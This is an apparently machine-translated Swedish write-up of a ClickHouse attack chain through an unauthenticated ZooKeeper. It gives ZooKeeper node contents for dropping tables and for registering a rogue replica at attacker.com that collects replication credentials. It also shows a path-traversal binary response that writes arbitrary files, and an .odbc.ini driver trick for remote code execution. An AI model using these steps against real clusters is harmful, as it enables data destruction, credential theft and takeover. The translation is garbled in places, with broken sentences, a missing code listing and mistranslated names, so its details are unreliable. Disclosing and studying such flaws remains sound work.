Den här artikeln kommer att berätta historien om en mycket specifik sårbarhet i ClickHouse replikeringsprotokoll, och kommer också att visa hur attackytan kan utökas.
ClickHouse är en databas för att lagra stora datamängder, oftast med mer än en replik. Klustring och replikering i ClickHouse byggs ovanpå
Standard ZK-installationen kräver inte autentisering, så tusentals ZK-servrar som används för att konfigurera Kafka, Hadoop, ClickHouse är allmänt tillgängliga.
För att minska din attackyta bör du alltid konfigurera autentisering och auktorisering när du installerar ZooKeeper
Det finns givetvis några 0day-baserade Java-deserialiseringar, men tänk dig att en angripare kunde läsa och skriva till ZooKeeper, som används för ClickHouse-replikering.
När den är konfigurerad i klusterläge stöder ClickHouse distribuerade frågor /clickhouse/task_queue/ddl
.
Till exempel skapar du en nod /clickhouse/task_queue/ddl/query-0001
med innehåll:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
och efter det kommer testtabellen att raderas på klusterservrarna host1 och host2. DDL stöder även att köra CREATE/ALTER/DROP-frågor.
Låter det läskigt? Men var kan en angripare få serveradresser?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
noder kommer att skapas kolonner и metadata.
Innehåll /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Är det möjligt att slå samman data från detta kluster? Ja, om replikeringsporten (TCP/9009
) på servern chXX-address
brandväggen kommer inte att stängas och autentisering för replikering kommer inte att konfigureras. Hur kringgår man autentisering?
En angripare kan skapa en ny replik i ZK genom att helt enkelt kopiera innehållet från /clickhouse/tables/01-01/foobar/replicas/chXX
och ändra innebörden host
.
Innehåll /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Sedan måste du berätta för de andra replikerna att det finns ett nytt datablock på angriparens server som de måste ta - en nod skapas i ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotont växande räknare, som bör vara större än den sista i händelseloggen):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
där source_replica — namnet på angriparens replik som skapades i föregående steg, block_id — datablockidentifierare, skaffa sig - kommandot "get block" (och
Därefter läser varje replik en ny händelse i loggen och går till en server som kontrolleras av angriparen för att ta emot ett datablock (replikeringsprotokollet är binärt och körs ovanpå HTTP). Server attacker.com
kommer att ta emot förfrågningar:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
där XXX är autentiseringsdata för replikering. I vissa fall kan detta vara ett konto med tillgång till databasen via huvudprotokollet ClickHouse och HTTP-protokollet. Som du har sett blir attackytan kritiskt stor eftersom ZooKeeper, som används för replikering, lämnades utan autentisering konfigurerad.
Låt oss titta på funktionen för att få ett datablock från en replik, det är skrivet med fullt förtroende att alla repliker är under korrekt kontroll och att det finns förtroende mellan dem.
replikeringsbearbetningskod
Funktionen läser en lista med filer, sedan deras namn, storlekar, innehåll och skriver dem sedan till filsystemet. Det är värt att separat beskriva hur data lagras i filsystemet.
Det finns flera underkataloger i /var/lib/clickhouse
(standardlagringskatalog från konfigurationsfilen):
flaggorna - katalog för inspelning
tmp — katalog för lagring av temporära filer;
user_filer — operationer med filer i begäranden är begränsade till denna katalog (INTO OUTFILE och andra);
metadata — sql-filer med tabellbeskrivningar;
preprocessed_configs - bearbetade derivatkonfigurationsfiler från /etc/clickhouse-server
;
datum - den faktiska katalogen med själva data, i detta fall för varje databas skapas helt enkelt en separat underkatalog här (till exempel /var/lib/clickhouse/data/default
).
För varje tabell skapas en underkatalog i databaskatalogen. Varje kolumn är en separat fil beroende på
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Repliken förväntar sig att ta emot filer med samma namn vid bearbetning av ett datablock och validerar dem inte på något sätt.
Den uppmärksamma läsaren har förmodligen redan hört talas om den osäkra sammanlänkningen av filnamn i en funktion WriteBufferFromFile
. Ja, detta tillåter en angripare att skriva godtyckligt innehåll till vilken fil som helst på FS med användarrättigheter clickhouse
. För att göra detta måste repliken som kontrolleras av angriparen returnera följande svar på begäran (radbrytningar har lagts till för att underlätta förståelsen):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
och efter sammanlänkning ../../../../../../../../../tmp/pwned
filen kommer att skrivas /tmp/pwned med innehåll hellofromzookeeper.
Det finns flera alternativ för att omvandla filskrivförmåga till fjärrkodexekvering (RCE).
Externa ordböcker i RCE
I äldre versioner lagrades katalogen med ClickHouse-inställningar med användarrättigheter klickhus standard. Inställningsfiler är XML-filer som tjänsten läser vid uppstart och sedan cachar in /var/lib/clickhouse/preprocessed_configs
. När ändringar sker läses de igen. Om du har tillgång till /etc/clickhouse-server
en angripare kan skapa sin egen root
.
ODBC till RCE
När du installerar ett paket skapas en användare clickhouse
, men dess hemkatalog skapas inte /nonexistent
. Men när du använder externa ordböcker, eller av andra skäl, skapar administratörer en katalog /nonexistent
och ge användaren clickhouse
tillgång till att skriva till det (SSZB! cirka. översättare).
ClickHouse stödjer odbc-bridge
, så det är inte längre möjligt att ange förarsökvägen från begäran. Men kan en angripare skriva till hemkatalogen med den sårbarhet som beskrivs ovan?
Låt oss skapa en fil ~/.odbc.ini
med innehåll som detta:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
sedan vid start SELECT * FROM odbc('DSN=lalala', 'test', 'test');
biblioteket kommer att laddas test.so
och fick RCE (tack
Dessa och andra sårbarheter har åtgärdats i ClickHouse version 19.14.3. Ta hand om dina ClickHouse och ZooKeepers!
Källa: will.com